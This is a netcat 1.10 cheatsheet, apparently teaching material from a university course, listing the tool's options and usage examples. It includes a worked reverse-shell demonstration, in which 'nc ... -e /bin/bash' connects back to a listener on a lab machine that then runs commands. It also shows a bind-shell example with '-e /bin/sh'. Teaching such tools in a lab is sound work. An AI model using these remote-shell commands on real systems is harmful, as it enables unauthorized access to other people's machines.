

Netcat 1.10-46 Cheatsheet (ingenieriainformatica.uniovi.es)



Multipurpose ("Swiss army knife") TCP/IP tool

<https://nc110.sourceforge.io/>

GENERAL USAGE

Connect to somewhere: nc [-options] hostname port[s] [ports] ...
Listen for inbound connections: nc -l -p port [-options] [hostname] [port]

NOTES

Port numbers can be individual or ranges: lo-hi [inclusive];
Hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

```
redondo@miw:~$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 192.168.20.1 37170 received!
ls
cewl.txt
Desktop
dirsearch
Documents
operario@kali:~$ nc 192.168.20.10 8000 -e /bin/bash
[]
```

OPTIONS

-b: allow broadcasts	-r: randomize local and remote ports
-c shell commands: as '-e'; use /bin/sh to exec [dangerous!!]	-s addr: local source address
-C: Send CRLF as line-ending	-T tos: set Type Of Service
-e filename: program to exec after connect [dangerous!!]	-T: answer TELNET negotiation
-g gateway: source-routing hop point[s], up to 8	-u: UDP mode
-g num: source-routing pointer: 4, 8, 12, ...	-v: verbose [use -vv to be more verbose]:
-h: Shows help	-w secs: timeout for connects and final net reads
-i secs: delay interval for lines sent, ports scanned	-z: zero-I/O mode [used for scanning]
-k: set keepalive option on socket	
-l: listen mode, for inbound connects	
-n: numeric-only IP addresses, no DNS	
-o file: hex dump of traffic	
-p port: local port number	
-q secs: quit after EOF on stdin and delay of secs	

EXAMPLES

```
nc 192.168.20.10 8000
nc -lvp 8000 -e /bin/sh
nc -lvp 8000
nc -lvp 8080 > received_content.txt
nc 192.168.100.107 8080 < content_to_send.txt
```

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